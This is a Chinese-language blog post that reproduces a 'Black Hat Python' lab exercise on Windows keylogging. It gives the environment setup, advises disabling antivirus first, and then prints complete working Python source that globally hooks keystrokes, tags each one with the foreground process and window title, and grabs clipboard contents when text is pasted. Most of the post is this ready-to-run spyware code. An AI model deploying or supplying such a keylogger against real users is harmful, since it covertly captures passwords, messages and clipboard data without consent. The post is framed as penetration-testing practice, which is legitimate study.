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python渗透测试入门之键盘记录

作者:ailx10
python渗透测试入门之键盘记录

近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》,书中一共24个实验,今天复现第19个实验( 键盘记录),我的测试环境是windows虚拟机+conda开发环境+python3.7。这个实验非常有趣,在windows环境下,可以记录不同进程下键盘的记录,比如我在notepad记事本上敲下“您好”,程序运行就会得到“ninhao”这样的拼音,这种程序一般会被杀毒软件拦截,因此做实验之前请关闭杀毒软件~

python渗透测试入门之键盘记录

ailx10

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这里实验环境选择 python3.7,这样几乎不用改代码,否则代码可能有不兼容的地方,需要自己手动修改~

conda create -n py3.7hack python=3.7
conda activate py3.7hack
# conda install -c conda-forge pywinhook (python3.6环境)
pip install pyWinhook           

实验演示结果如下:

python渗透测试入门之键盘记录

参考代码:

# -*- coding: utf-8 -*-
# @Time    : 2022/6/24 8:17 PM
# @Author  : ailx10
# @File    : keylogger.py

from ctypes import byref,create_string_buffer,c_ulong,windll
from io import StringIO

import os
import pythoncom
import pyWinhook as pyHook
import sys
import time
import win32clipboard

TIMEOUT = 10

class KeyLogger:
    def __init__(self):
        self.current_window = None

    def get_current_process(self):
        hwnd = windll.user32.GetForegroundWindow()
        pid = c_ulong(0)
        windll.user32.GetWindowThreadProcessId(hwnd,byref(pid))
        process_id = f"{pid.value}"

        executable = create_string_buffer(512)
        h_process = windll.kernel32.OpenProcess(0x400|0x10,False,pid)
        windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

        window_title = create_string_buffer(512)
        windll.user32.GetWindowTextA(hwnd,byref(window_title),512)
        try:
            self.current_window = window_title.value.decode('unicode_escape')
        except UnicodeDecodeError as e:
            print(f"{e}:window name unknow")

        print("\n",process_id,executable.value.decode('unicode_escape'),self.current_window)
        windll.kernel32.CloseHandle(hwnd)
        windll.kernel32.CloseHandle(h_process)

    def mykeystore(self,event):
        if event.WindowName != self.current_window:
            self.get_current_process()
        if 32 < event.Ascii < 127:
            print(chr(event.Ascii),end="")
        else:
            if event.Key == 'V':
                win32clipboard.OpenClipboard()
                value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print(f"[PASTE] - {value}")
            else:
                print(f"{event.Key}")
        return True

def run():
    save_stdout = sys.stdout
    sys.stdout = StringIO()

    k1 = KeyLogger()
    hm = pyHook.HookManager()
    hm.KeyDown = k1.mykeystore
    hm.HookKeyboard()
    while time.thread_time() < TIMEOUT:
        pythoncom.PumpWaitingMessages()

    log = sys.stdout.getvalue()
    sys.stdout = save_stdout
    return log

if __name__ == "__main__":
    print(run())
    print("done.")
           
python渗透测试入门之键盘记录

发布于 2022-06-24 21:24

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